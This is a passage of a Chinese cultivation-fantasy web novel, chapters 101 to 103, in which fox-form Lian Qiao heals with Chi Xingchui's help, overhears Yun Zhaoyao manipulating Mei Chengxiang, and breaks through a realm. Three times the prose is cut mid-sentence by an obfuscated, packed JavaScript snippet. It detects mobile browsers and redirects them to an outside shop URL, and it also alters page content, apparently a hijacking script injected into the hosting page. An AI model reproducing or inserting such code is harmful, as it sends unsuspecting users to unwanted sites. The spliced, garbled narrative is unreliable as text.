迟星垂:“你看,她有些恐惧,很抵触。” 邵吴兴看上去有点失落,“连乔,玉雪很好玩的,和三面虎狐一样善良,你不要害怕。” 迟星垂对连乔道,“玉雪主攻,为凶兽,你现在身体脆弱,最好还是不要太靠近。” “当然不是。”邵吴兴对连乔解释,“玉雪是好的,它只打别人,不会打你的。” 连乔挣扎了一下,迟星垂的动作非常有技巧,她每次动一下,他都会不动声色按住一寸,最后她像是成了一个木蛹,动不了也说不出话。 迟星垂你就这么讨厌我吗,这么点小乐趣都要剥夺? 让我看看玉雪,迟星垂你这个看着人模人样,你这个无情无义无理取闹的狗比。 邵吴兴看着连乔一动不动,以为她没兴趣,黯然地叹了口气。 好吧,自己确实是一个无趣的人,他们都这么说。 连乔不愿意,邵吴兴也就打消了继续留下来的念头,他和连乔道别,玉雪跟在他身后,走远了又转过头来,歪了歪脖子,眼巴巴地望着连乔,随后转过身,追随着主人走远了。 等邵吴兴离开,迟星垂也松开了禁锢连乔的手,托着她回去休息。 连乔写,“迟星垂,你最近是不是和和邵吴兴有矛盾?” 迟星垂停顿一下,“为什么这么问?” “好奇啊。”连乔抓着迟星垂为她特意准备的小笔,“上次他逮着你灌酒,这次你看到他就想赶他走,发生什么了么,需要我帮忙调和一下你们的关系?” 我劝人很有一套的,保证让邵吴兴永远记恨上你,让你们俩从小有龃龉变为反目成仇。 “不用。” “为什么不用,你是大师兄,不应该关心师弟们么?”连乔歪了歪头,做沉思状,“还是说,就是你欺负的邵吴兴?” 连乔反思这段时间邵吴兴和迟星垂在一起时的氛围十分奇怪,她觉得有必要提醒这位看上去挺靠谱的师兄,“迟星垂,邵吴兴最近看上去都很沮丧,他是个好人,你不能欺负师弟。” 迟星垂坐下来,淡淡回了一句,“等过段时间冲虚学院招新弟子了,他自然而然就好了。” “嗯?”连乔不明白,“什么意思。” “没什么。”迟星垂道,“他以前经常这样。” 连乔躺倒在桌子上,“好无聊啊,变成狐狸一直在这待着,要随时接受检查,还不能随意跑。” 连乔将漂亮的狐尾来回扫,“新招弟子在宗门大比之后,那剑宗的入门大比什么时候会再开始?” “如果接下来排查没有问题,做好意外的收尾工作后,就会等你恢复。” 连乔坐起来,“这次你们终于做个人了,还考虑上我是否方便。” 迟星垂道:“我与师父争取到的机会,会一直会等你恢复到原来的状态为止。” 唉,也不知道自己什么时候才能恢复到原来状态。 一连两天,连乔都在云中峰休息,身上的伤已经完全痊愈,可能是灵力透支过于严重的原因,还是毛茸茸狐狸的形状,恢复成人形仍旧是遥遥无期。 云中峰的人都在忙着去处理意外后的工作,一连两日连乔都是一个人待着休息,她觉得无聊,便蹑手蹑脚出了房门。 离她房间最近的便是迟星垂的房间,迟星垂的房间并没有上禁制,连乔敲了敲门,没有人应,门倒是“吱呀”一声自己开了。 里面没有人。 连乔从芥子镯中掏出万机,在上面一通乱按,大概是问迟星垂什么时候回来,仍旧是没有回应。 于是乎大大方方走进去,发现是窗户开着,穿堂风吹开了门。 这是她第一次来迟星垂房间,和想象中一模一样,干净整洁,所有东西都排列得非常整齐,一点尘埃都不染。 黄昏前下了一场雨,凉风和水汽从窗户外透进来,连乔跳上桌,关上了窗户。 桌上摆着古琴,她的爪子碰上去,“哐”的一声,古琴旁边有一本曲谱,翻在其中一页,曲名《长夜明》。 连乔慢吞吞蹲在桌上,其实软塌和床更舒服,但是她不敢爬,因为她怕迟星垂回来会拧住眉头发狂。 桌上还摆了一幅画,画打开了一个角,没有收好,连乔趴下的时候不小心碰到了画,画卷展开,铺在桌上。 连乔收回要跳桌子的脚。 画上是一个人。 一个女人。 画中女人身材修长,一袭黑衣,异常英气。她长发束起,编成辫子垂在身后,长衣束手脚,正在练剑,双手一手执一剑,剑气汹涌,在背后凝成云气。 这人与迟星垂面容非常相似,但眉眼更柔和一些,像是迟星垂的性转版。 画的右下角有一个红印和四个小字,红印是落款,字型古朴,看不清是什么,另外四个小字字迹非常规整,清晰可认。 吾友钟蕴。 钟蕴? 钟山山主之女,乾元剑宗大剑仙之一,曾经也是剑宗云天峰峰主,在对弈妖族那场恶战中身死道消,尸骨遗落在大荒原。 而自钟蕴离世,云天峰也不对外开放,迟星垂入剑宗后,便拜在云中峰虞南子门下。 云中,钟蕴,不知道是巧合还是迟星垂有意为之。 连乔不动声色将画重新卷好,实际上心中如同打鼓。 这画中人物和她在墨江入妖道幻境中看见过,那幻境是遗留在原主记忆深处的噩梦——灭子午 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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迟星垂丢出一张白净的帕子,不偏不倚刚好盖在连乔爪子上,他语气淡淡的,但是似乎饱含了嫌恶,“你手上有口水。” 连乔:“啊啊啊啊啊……” 在连乔冲过去前,迟星垂一把抓住她,抱着她去洗手,连乔伸出脚蹬他,但是他却握住了她的脚。 连乔歪着头,震惊看着他。 “你又没有舔后爪。”迟星垂回答得倒是理直气壮,他拎着连乔到水池旁,“来洗干净,我有事找你。” 提着连乔洗完手,迟星垂又用巾子将她的手擦干,将软塌上的垫子取下来铺在桌前,又放上动作迟缓的小狐狸。 桌前有一架琴,正放在她面前。 “这把琴唤‘清梦’,也是母亲的遗物。”迟星垂道,“原本是放在师父那里,尘封许久没有用过,师父昨日才将它送过来,说你可能用得上。” 连乔再一看,琴身光洁,琴弦分明,这哪里是尘封许久没用过,明明琴主人将它养护得非常好,这么多年也仍旧如新。 “此琴琴身由蓬莱岛凤凰木制成,琴弦取自天之极终年不化雪山上的天蚕丝,所以琴音可可清心静气,也可引灵入体平养身心。”迟星垂道,“这琴音或许对你恢复人形有用,你且试一试。” 迟星垂琴技高超,这一点连乔在墨江就知道,那时用的凡琴,音色非常差,但是他也能弹出动听的曲子,等他用“清梦”,连乔微微怔愣,就连她这种音痴也被空灵的音乐所吸引,当真是如听仙乐耳暂明。 忽然在雪山之巅,又入浩瀚星河,身体轻盈漂浮在天地之间,天地也如同温和的海平面,破浪带着她从一个场景步入另一个场景,从原始人在地上爬行到逐渐直立行走,然后坐在桌前,一大块数字屏在眼前闪烁,她亲自下场披着小号和黑粉对骂,噼里啪啦,键盘敲得冒烟。 从猿猴到智人的进化途中,她感觉身体也从狐狸变回人,前爪变成手,后爪成为腿……但没变完,“啪”一声停了。 连乔从入定的状态里慢慢清醒,怎么回事? 周围变得异常冷,安静无声。 迟星垂坐在桌前不动,面前摆了一堆空了的木盒,他怪异地望着连乔。 101.第 101 章 都要从猿猴变成人了,怎么忽然间就停了? 影响她进化成人。 迟星垂面色平静,“你吸收灵力的速度太快,云中峰灵力转换的速度不敌你消耗的速度,还继续下去,会生出岔子。” 桌上的灵石都是迟星垂用来给她补给的,手头可用的数盒灵石都见了底,可见消耗速度之迅猛。 连乔考虑着要不让南道他们送一些灵脉过来,便被一只手提起,随后稳稳立在半空。 连乔不得不承认一个事实,迟星垂提她的手法越来越娴熟了。 “去灵澧。”迟星垂道。 灵澧为乾元剑宗一处灵泉,绕山脉而行,隐藏在数百座山峰之下,沿途水草丰茂花香弥漫,深夜时分有许多萤虫飞绕其间,让这泉水充满神秘的美感。 “剑宗之下有山灵存在,灵澧绕山而下,沿途积攒厚重灵力,所以这一片是乾元剑宗灵力最茂盛的地方。”走到一处稍开阔的潭水前,迟星垂将连乔放在一块石头上,盘腿坐下,取出清梦琴。 连乔在石头上铺上一层纸,“我有一个疑问。” “你说这里是乾元剑宗灵力最茂盛的地方,会不会有人打断我?” “灵澧范围很大,在剑宗内部盘绕,此地幽静,远离各大主峰,不会有人来的。”迟星垂道,“再者,已是深夜,怎会有人来如此僻静之地。” “万一有人来这里幽会呢?” 望着迟星垂沉下来的脸,连乔慢吞吞收起笔,好吧,是她思维太活跃。 二人正要进入状态,忽然耳边传来说话声,听声音还是一男一女,连乔抬头望向迟星垂,后者面容平静,似乎正在思考是要打断对方的谈话,还是托着连乔换个地方。 如果能说话,连乔一定会问你的脸痛不痛。 就在迟星垂考虑的时间,连乔突然跳到他胸口,推着他俯下身体,伸手捂住他的嘴,示意他噤声。 芦苇丛有几人高,冷风从山脚穿过来,引动芦花飘摇。周围寂静无声,没有任何人影。 这让云招摇隐忍的脾气开始失控。 “梅承襄,我说过了,你不要再来找我。”她深呼吸了一口气,在面对梅承襄伸过来的手时,下意识地退后一步,让梅承襄扑了个空。 “招摇,你以前不是这样说的。”梅承襄语气有些怅然,“你说我们是很好的朋友,你也很喜欢和我在一起,与我在一起会让你很舒心。” 身材颀长的男子自嘲地笑了一声,“即使作为朋友,你也没必要这么避我如蛇蝎。” 云招摇道,“在你没有说出那些话之前,我们可以是朋友,但是你把事情挑清楚了,我们连朋友都没得做。” 梅承襄却笑了一声,“可是你对迟来风也说过是朋友,但是他也同样对你表白过,你对他和对我就不一样。” 云招摇顿了一下,“梅师兄,这不一样。” “哪里不一样?”梅承襄听到这句话后彻底破防了,“是我和他的身份不同?他是云岭迟家的少爷,而我现在只是一个普通的剑宗弟子,甚至因为这次和魔族有关系,以后连乾元剑宗都不一定留得了。” “招摇,前几日你至少还不是这个态度,现在就这样急着与我撇清关系么?” 被戳中了心事,云招摇也不恼,仍旧保持着矜持与礼貌,“师兄,不是你说的那样。” “那你为何这几天一直避着我?”梅承襄声音都在颤抖,“明明之前我们还好好的,即使你不想听我表白,也不至于这样不愿意理我。” 他越说越激动,“招摇,你如何与我一步一步疏远我都看在眼里,你没必要否认。” 真实面目被揭穿,云招摇现在甚至都懒于去解释,她向来只往前看,不会特意回过头来看被丢下的人。 有些人,或许本来和她就不在一个世界,不过是气运好她太多,从一开始就比她占据更多有利元素,如果一开始就在同一个起跑线上,她才会是跑得最快走在最前面的那个。 有人会在中途掉队,追不上就算了,她会遇到新的朋友新的队友。 云招摇的沉默坐实了梅承襄的言论,后者在她冷漠的目光中终于是安静下来,安静了很久,最终笑了一声。 “其实,我早就知道你的为人。”望着云招摇看过来的目光,梅承襄叹了一口气,“从你养父离开剑宗,请求我向十二长老求情,放连翘一马开始,我就应该知道你是什么人。” “是我自己自欺欺人,对你一往情深,以至于这么长时间以来,真的相信你对外维持的人设。” 听到连翘的名字,云招摇一直保持得很平静的脸终于是出现一丝裂缝,梅承襄恍若不见,“从一开始,你养父就告诉我,连翘并没有拿他的性命去要挟你,她只是用另一个秘密去和你交换条件。” “你不要用这种眼神看我,你养父什么也没说,我不知道是什么秘密。”梅承襄道,“不过前些日在通风山洞中南道怒骂你无耻冷漠,在连乔误入捕兽网后也见死不救,还说你有妖族……” “没有!”在梅承襄说完所有的话之前,小脸惨白的云招摇开口喝断他。 梅承襄却不管不顾继续说下去,“你是个很聪明且很有魄力的女子,即使这次事情你有那么大的错误,万机上却没有人多议论你一句。” “在乾元剑宗这么久,终于你有了自己的能力和手段……” 想起这几日万机中没有任何关于云招摇的负面消息,梅承襄不由想笑。曾几何时,她还是一个面对质疑和恶语非常敏感的女子,一两句重话也能让她难受许久,而现在,她做事利落果断,再也不是以前那般脆弱的模样。 “招摇。”梅承襄抬头望着月光,月亮还是那个月亮,但人却不是以前那样纯粹的人了。他说,“我还是怀念你以前的样子。” 山风忽冷忽热,带动芦苇丛沙沙作响,周围安静得能听到对方的呼吸声。 沉默,比起沉默更多的,是将窗户纸捅破后的难堪。 “师兄,你以为我想这样么?”云招摇不知何时眼圈泛红,“梅师兄,我和你不同,你有梅峰主和金长老始终为你兜底,而我从来都是一个人,你说你真心对我,但是在遇到连乔刁难和梅峰主责怪时,你第一反应是我和白祺在挑拨离间。” 因为差一点在冲虚学院所有弟子面前脱了裤衩,还差一点不穿裤子绕着那无比神圣的学院跑三圈,梅承襄气得差一点和白祺打起来,怪白祺过于冲动害他丢了里子又丢了面子,之后有一段时间没有理她们。 提及此事,除了不堪回首,还有无穷尽的尴尬与社死。 梅承襄:“我那不是……” “是,是我们弄错了,但是师兄你一点错都没有么?”云招摇的眼泪从眉眼中滚落,像晶莹剔透的珍珠,“我也想一直将你们当朋友,但是你可以任性可以放肆,永远有梅峰主和金长老帮你铺好前路后路,即使这次意外这么严重,都有金长老出面帮你们摆平,你有无限种可能何选择,但我不是……” “师兄,我一直都是一个人面对所有的恶意和不堪。”云招摇擦了擦眼角,不想让自己脆弱的一面被人看到,“我只能不停往前走,所有人都在盯着我,等着我出错,等着看我笑话……” 虽然她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14014351|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 极力忍着哭,但是眼泪像决了堤,但是决了小堤,泪珠慢悠悠地一小颗一小颗绝美地滚下来,连挂在脸上的角度都异常优美。 云招摇捂住脸,“师兄,我也不想的。” 望着心上人在自己面前泣不成声,梅承襄一时愣神,“招摇,我、我不是那个意思。” “我知道你觉得我和你想象中的不一样,其实我从一开始就不是你们期待的那样……我一直戴着面具,我也很惶恐也很害怕,所以我想和你保持距离……师兄,我不想让你看到我这个模样。” 她说,“也许,像你说的,我没那么美好,我自私又卑劣,我就应该一个人,这样不会让身边人有期待,更不会让人有失望。” 梅承襄摇头,“不是的招摇。” “师兄,对不起。”云招摇摇头,“我让你失望了。” 因为愧疚和自责,云招摇的小脸泛白,因为哭过,双眼和鼻尖都通红,透着无限让人怜惜的脆弱。 梅承襄忽然就愣住。 招摇说她不完美,让他失望了……可是谁又是完美的,谁又是一直清白不染尘埃呢? 她在修真界流浪那么多年,受了那么多白眼,为自己做打算是正常不过的,这是她自保的手段,她又有什么错? 她只是想继续往上走,她没有退路,那是她必须的选择…… 云招摇拉着梅承襄的袖子,因为抽噎,说话有些不连贯,“师兄,对不起,我不是想和你划清界限……我只是、只是没有准备好。” 她的脸微微泛红,“我也只有一个一生,我不能随便将自己的一生给予别人,这对我不公平,对你也不公平。” 梅承襄深吸一口气,“招摇,对不起,是我误解你了。” 他低下头,下巴都要戳进胸口里,“是我太鲁莽了,没有考虑到现实,还这样逼你。” 他伸手擦一擦云招摇脸上的泪痕,“你不要哭了,是我错了。”又举起手,“是梅师兄的错,好不好。” 云招摇“噗嗤”笑了,“师兄,也是我不好,我不应该从一开始就瞒着你那么多事……” “每个人都有自己的面具,你能在我面前敞开心扉,我已经很开心了。”梅承襄鼓足了勇气,“招摇,那……我们以后还能做朋友吗?” “只要师兄不逼我,也不要那样责怪我,我们还可以像以前一样……” 芦花丛仍旧摇摇晃晃,风声顺便带走了二人远去的脚步声,在树丛里窝了许久的连乔终于露出一个脑袋,同样和狐狸脸一起映照在灵泉水中的,还有那双震惊的、瞪大了的眼珠子。 我勒个天。 真是见证了好一出舔狗大戏。 连乔心想,云招摇没有生在她那个年代,若是生在那个年代,那肯定要和自己抢饭吃。 那岂不得和她一样,大满贯影后级别人物? 那声声控诉,那绝美落泪……如果不是她在背着梅承襄擦眼泪时露了个隐晦的笑,自己都要信她的话了。 吃完瓜的连乔还伸着头,望向二人离去的方向,想用这异常灵敏的狐狸耳朵再听到些什么。 迟星垂弹了一下她的小脑袋瓜儿,提醒她,“入定。” 连乔转过头来,同样震惊地望着他。 怎么还是这样一幅平淡又无所谓的表情,这么大的瓜,这位师兄你都不吃惊么? “相比较他们的恩恩怨怨,你如何吸收灵力再重新化为人比较重要。”讲究的迟大公子在石头上铺上软垫,将小狐狸放上去,盘腿坐下,随着他修长手指的波动,琴音便和月光一样倾泻在这夜色里,温柔入心。 102.第 102 章 连乔软骨头似的,躺在软垫上,如论如何也静不下心。 看着她扭成麻花,迟星垂也停下手,“你还好吗?” 连乔:“不太好。” “抱歉。”迟星垂说,“我也不知道会出现这样的意外。” 嗯? 什么? 小狐狸坐在原地像被冻住了一般,她歪头望向对面的男子,似乎在沉思他说的是什么玩意儿。 迟星垂在道歉哎? 这个无情无义清高自傲的迟星垂,居然和她道歉? “吼……” 又白又蓬浑身油光瓦亮的狐狸突然咧开了嘴笑,这画面不仅滑稽还有点诡异,迟星垂心想自己是不是也沾了魔气性情大变,为什么这么惊悚的画面,他不仅不恼,还会觉得有点……可爱。 嗯,真的可爱。 尤其是连乔笑得太猛,往嘴里呛了几口气不停咳嗽,“呼呼”的往外面吐气的时候。 迟星垂:“很好笑?” 连乔迟疑了一下,纠结万分,最后还是遵从本心,缓缓地点头。 怎么说呢,违背初心的事她做不出来,虽然嘲笑迟星垂会让他不高兴,但是因此昧着良心说不好笑,那太虚假了。 小狐狸挺胸抬头,迟星垂的脸一如既往地冷,“你看上去很骄傲?” 连乔:“是啊。” 望着迟星垂黑沉黑沉的双瞳,连乔默默抱住头,她怕迟星垂一个爆栗下来。虽然看上去他不太可能会做这事,但是连乔觉得自己嘴这么欠,挨打也正常。 迟星垂当然没有打她,他很绅士,望着她半晌,最后叹了口气,“继续。” 连乔诚实道:“继续不来。” 入定最忌讳中断,一中断就很难再恢复原来的状态,连乔试了几次也不行,索性坐起来,继续八卦。 她换了新的纸,“迟星垂,你怎么看?” 迟星垂:“我不看。” “你好虚伪哦。”连乔托着下巴,望着迟星垂毫无波澜的脸,心想还真是不显山不露水的一个人啊。 “迟师兄,你不要告诉我你没感觉。” 迟星垂垂眼看她,十分不解,“什么感觉?” “你的爱慕啊,还有欣赏,现在都还在吗?”迟星垂一脸平静,这让连乔觉得他又开始装蒜了。 这段时间她无聊,只有系统陪她聊天,她调出原书来来回回翻了许多遍,还特意去查看有关迟星垂的戏份。 原书上说,迟星垂对云招摇也有爱慕之心,虽然他是迟来风的哥哥,但是对这位弟媳妇一直有着异样的心思。他喜欢听她唱歌,在后期被魔气侵染的时候,也会依靠云招摇那清脆如黄鹂的歌声来找回清醒。 再翻……书中中间部分,没有迟星垂和云招摇单独相处的情节,只有在前期,云招摇在冲虚学院修行和刚刚拜入乾元剑宗的时候,二人有过短暂的交集。 书中第二人的相处的描写是这样的: 云招摇初见迟星垂是在一个夜晚,她在剑场练剑回来。黄昏时下了一场雨,雨后乌云散去,空气中也隐隐透着凉意。迟星垂不知从何处归来,眉目间皆是倦色,但面容总是平静温和,就像这笼在剑宗入门三千长阶上的清冷月光。 “迟师兄。”云招摇仰头望着他,眉眼笑得弯弯,“请问你是迟星垂师兄吗?” 迟星垂转过头,似有疑惑,“你……” “我叫云招摇,是冲虚学院的弟子。”云招摇自我介绍道,“听闻迟师兄是钟山人,我就是在钟山一片长大的,在那里待过很长一段时间呢。” 迟星垂笑了笑,“是么?” “迟师兄,我们是老乡哎。” 迟星垂没有答话,云招摇向他招手,“师兄,我朋友还在等我,我先走啦。” 他们的初次见面简单而又匆匆,三千长阶在他身后蜿蜒而上,平行的阶梯在远处形成一个交点,就像这两个原本不是同一个世界的人,终于也有了交界的机会。 许多年后,当迟星垂再一次碰见云招摇,她已为人妇,还是他弟弟的妻子,他们之间又恢复成三千长阶的形状,看似越来越近,实际永远那么远,不会有任何交集。 迟星垂压下眼中的猩红,他唤她,“云姑娘。” 他说,“我许久没有回钟山了,也可能永远也回不去了。” 云招摇心中一顿,她想起许多年前他们初次见面时,落在他肩上的月光,就如同此时一般。月亮还是那个月亮,月光也还是那片月光,但是他,却不是在钟山的那个少年了。 她说:“星垂哥哥,我为你唱首歌吧。” 是钟山的曲子,很清新的小调,婉转的嗓音随着那无声的月光落在他心上,暂时抚平了他心中的躁动与痛苦。 后来,云招摇经常来找他。 她一直在为他唱钟山的小调。 迟星垂也安静地听,好像在这黄鹂般的歌声中,他才会回到从前,回到以前在钟山,那段无忧无虑的时光。 连乔让系统调出来这段话,反复品读,系统问她在想什么,连乔给了两个字的评论:造作。 什么交不到一起的长阶,什么歌声回到少年,如果没记错那时候云招摇已经和迟来风成婚了吧,都已经有道侣了,还主动去找迟星垂为他唱歌,和他追忆钟山那段美好时光呢? 系统:“那万一是女主善良,想拯救清冷高贵的大公子……呢。” 系统的声音越来越小,到最后细若蚊蝇。 原书中来看,云招摇对外的形象确实是坚强善良,但是经历了连乔几次被女主坑,还看到被PUA梅公鸡后,再说她高洁伟正,那纯属是在自欺欺人。 甚至一开始,云招摇接触梅承襄就是抱有目的的,等天门峰惹了麻烦,梅承襄这峰主之子的位置保不住后,她连躲都躲不及。这样的人,怎么会想拯救迟星垂呢? 她当然是抱有目的的。 可惜迟星垂心思单纯啊,还是一头扎进陷阱里。 不过,迟星垂到底是什么时候对云招摇起了那种心思的?难道是原书中说的那样,在第一次见面,少女和他就像台阶的两条边一样相互看上眼了吗? 还是在云招摇嫁入迟家以后,两个人同住一个屋檐下低头不见抬头见,所以对上眼,背着那拈花惹草的冤大头(实际上一点也不冤)的弟弟,玩起了背德文学? 此时冰山脸一只手下来落到她头上,“别发呆了。” “我没发呆,我在沉思。”连乔睁开眼,又铺上一层纸,“迟星垂,我觉得有必要委婉提醒你,有可能一个人会吸引你,但是未必那就是爱情,虽然爱情是没有缘由的,你可能会被某个人吸引,但是这不代表你就能共沉沦。” 连乔的话说得很委婉,委婉到迟星垂看完纸,又看了一眼她,深邃的双瞳中透露着茫然。 “这样说吧,你喜欢的人未必是好人。” 迟星垂:“我知道。” 连乔想了想又添一句,“就算是她能让你回忆起以前,让你想起单纯的少年时期,甚至让你有所依赖,那也可能是假的,不过是镜花水月一场骗局而已,你啊,还是擦亮眼睛,或者不要那么一心一意为好。” 迟星垂更茫然了,他看了看纸上密密麻麻的字,又看了看她,半晌道,“不用。” 连乔:“……” 嘶,这人怎么油盐不进呢? 算了,生死有命富贵在天,反正到最后被骗财骗色的又不是自己,她已经提醒到这里了,迟星垂自己不听又关她什么事。 迟星垂看着连乔长吁短叹,又望着方才站着人的地方,总觉得连乔意有所指。 有些人会让他回想起少年时期,会让他有所依赖…… 他不是个喜欢回忆过往的人,无论是今生还是前世,唯一噩梦缠身的那段时间,倒是会日日梦到以前的钟山,钟山萧条,许多人已经迁移离开,散落在修真界各处。 连乔说的让他想起以前时光的人……不会是云招摇吧? 有一段时间,云招摇确实喜欢往他那里走,他喜欢安静,不喜欢云岭那些弯弯绕绕的东西,所以不爱出门,但云招摇性格热闹,经常主动来找他,即使因此还因此与迟来风有过口舌之争。 那时迟星垂也觉得经常见面不合适,有时会出门特意避开她。云招摇经常带一些钟山的东西,有时候是一两盒钟山山上特有的浆果,有时候是一束山顶刚采下的鲜花……她也会唱钟山的歌谣,她在钟山长大,会唱许多钟山的小调歌曲。 方才云招摇又站在这里,连乔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14023814|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看他的眼神就怪怪的,她……是不是误会什么了。 迟星垂忽然压了压上扬的嘴角,他慢悠悠地拨一下琴弦,“我在钟山长大,但更多的时间是在云岭,我看过许多悲欢离合,也见过不少貌合神离的人,我不喜欢那样,所以,如果我喜欢一个人,那必然会一直喜欢。” 如果可以说话,连乔肯定要冷嘲热讽一番,可惜啊,她说不了话,连嘲讽都要靠笔写,如此一来气势都要矮了三分。 罢了,他乐意便随他吧。 这一次很奇怪,连乔很快入定,识海中又是各种画面跳跃,从原始人到现代智人,从荒山野岭过渡到现代街市的车水马龙,数字大屏在商场上跳跃,又变成一块小屏在她面前,大屏上是她,小屏上也是她…… 迟星垂惊诧于连乔吸收灵力的速度,灵泉带来的灵力滔滔不绝,她便一直不停吸收,像一块吸饱水的海绵,但是又看不出来蓄了水。 琴音和入定对连乔的恢复有一定作用,但是又不能让她恢复人形,这让她异常苦恼。 坐在云中峰的桂花树下,一粒粒的小花撒了满身,连乔蹲在软椅上,“吸收了那么多灵气,都快要炸了,怎么还是没用?” 啊好烦,要是一直这样,她就一直不能参加入门大比,乾元剑宗很明显有人和玉非缘有点关系,而且和原书中她无缘无故坠魔也有联系,难道要一直这样坐以待毙等着么? 迟星垂:“安静点,你吵得我头疼。” “头疼你就回你自己房间去。” “这就是我房间。” “那你出去,不要打扰我吵闹。” ??? 迟星垂揉了揉眉头,将书盖在脸上,躺在躺椅上不想说话。啊,心好累。 连乔继续趴在软塌上,再闭眼,面前忽然就一片纯白,像是沉在无尽的雪原之中,又像是进入了某个异世空间,时间和空间都变得异常扭曲,再一睁眼,刚升起的月亮无声立在头顶,桂花树落了一地的花,明明那里迟星垂不久前才清理过,现在又是满满一层。 什么情况,又睡过去了吗? 迟星垂将脸上的书拿下来,淡声,“恭喜。” 恭喜? “两阶。”迟星垂道,“雷劫快速迅猛,但是你蓄力非常多,渡劫异常平稳。” 原来是渡劫? 怪不得她吸收了那么多灵力,都给她一种错觉快要给灵澧吸平了,原来是瓶颈期已至,现在她已突破元婴中期,直接到达化神期? 相比较前几次渡劫的凄惨与悲壮,这次简直太温柔了,连乔几乎涕泗横流,余光瞥到迟星垂的目光。 “你笑什么?” “我没笑。”迟星垂道,“我在为你高兴。” “胡说,你就是在笑。” “某人啊……”迟星垂躺在躺椅上,头顶上的夜明珠灯笼将这庭院照得亮如白昼,他继续翻着书,“先前因为始终不得突破而大吵大闹,现在已得突破却仍旧不依不饶扰人清梦。” 他指着头顶原本落在桂树上的乌雀,因为受不了她的一惊一乍,原本睡熟了现在又展开翅膀飞远了。 话虽然刻薄,但是男子脸上却没有半分嫌弃,反倒带有松了口气般的释然。 但在连乔看来,这就是彻头彻尾的侮辱和挑衅。 刚变成狐狸的时候总是忘了自己是狐狸,现在恢复成人形又忘了已经变成人,还以为自己是小野兽的连乔纵身一跃,在空中悬停一下,意识到情况不对时已经晚了,她跳不回来了。 原本想给迟星垂一狐爪的连乔“砰”一声掉下来,脸部朝下扣在仰躺着看书的迟星垂身上。 迟星垂闷哼一声。 半晌,约莫是被砸得蒙圈了,但是吹了点风又清醒过来的迟星垂“咳咳”两声,他气若游丝,“连谷主,麻烦起来一下,我肋骨好像断了。” 连乔:“……” “师兄,师父让我过来问问连乔怎么样了,‘清梦’琴对她的伤势有没有……”用字没说完,望着庭院躺椅上抱住的两人,邵吴兴捧在手上的果脯零食“啪嗒”往下一掉。 连乔从迟星垂胸口缓缓抬起头。 邵吴兴不知道怎么大脑一片空白,许久,他回过神来,慌忙道,“对不起,打扰你们了。” 103.第 103 章 空气凝固了几秒,连风都静止了,桂花树也停止了摇动,“漱漱”往下落的银桂也停下,一切安静得诡异。 邵吴兴扭头就走。 连乔立刻从迟星垂身上爬下来,慌乱间又不知道压到了他哪里,迟星垂又是闷哼一声。 连乔急着要去追。 迟星垂拉住她,“你做什么?” “和他解释啊。”连乔道,“吴兴误会了。” “解释什么?” “当然是解释我们俩之间没有关系啊。”连乔道,“大哥,月黑风高夜,我和你在一起搂搂抱抱,这并不是什么风花雪月的美好场面,这是惊悚恐怖故事好吗?” 迟星垂:“啊?” 他似乎不解,“为什么会是恐怖故事?” “且不说我洁身自好不玩以前那一套了,我可是恶名在外且声名远扬的妖艳恶女,整个修真界都知道子午谷谷主喜欢小白脸。”连乔指着他,“现在我刚到乾元剑宗就被看让这让人误会的场面,你也不想被别人传屈服在我淫威之下吧?” 迟星垂道,“原来你是怕这个?” 对啊,她怕啊,职业病作祟,她怕和任何一个男角色传绯闻。 更何况,还是迟星垂,虽然迟星垂这资源禀赋很有资格做她的小白脸,但是……也不行! “吴兴不会传出去的。”迟星垂淡淡道,“况且我们之前也没什么,清者自清,不用解释。” 连乔:“你是不是想占我便宜?” 迟星垂:“……” 被猜透了心思的迟师兄黯然叹一口气,“罢了,我去解释吧,你在这里等我。” 他将自己的万机打开,调到传讯界面,“你给师父还有默非他们报个平安吧,三面狐等你许久了。” 片刻后,迟星垂回来了。 他眸色平静,虽然一直是这个表情,但现在却让连乔莫名觉得他心情好像不错。 迟星垂继续坐在,问,“讯息传完了。” “传完了,三面狐说明天来看我。”连乔道,“他们知道我突破了很高兴,在借酒楼摆了一桌,说要谢谢你们的照拂。” 连乔又问:“你解释完了?” “嗯。”迟星垂继续看书,修长的手指轻轻拂去落在书页上的桂花,连指尖都染上淡淡木樨香。“本来也没什么。”他说。 远在山峰另一侧的庭院,灯火通明。 邵吴兴双眼通红,脚步声风,“砰”一声推开门,又猛地将门关上,将正在偷偷摸摸端什么上桌给自己加餐的童元宝吓了一跳。 “怎么了这是?”端着盘子的童元宝伸头,“发生什么了,生这么大的气?” 邵吴兴想起迟星垂的话,硕大的拳头轰在桌上,将桌子砸了一个大坑。 方才,迟星垂叫住他,邵吴兴简直不能相信自己的眼睛,明明几日前他们还是正常相处,怎么这么快,连抱都抱上了? “你、你们……” 迟星垂点头,云淡风轻,“嗯。” 他没有解释,更没有否认,就这么轻飘飘的七个字,如你见到的那样,如、你、见、到、的、那、样…… 硕大的拳头再次落桌,童元宝猛地端起桌上的宵夜,“你要死啊,大半夜的发什么疯?” 邵吴兴红着眼,“我失恋了,元宝……” 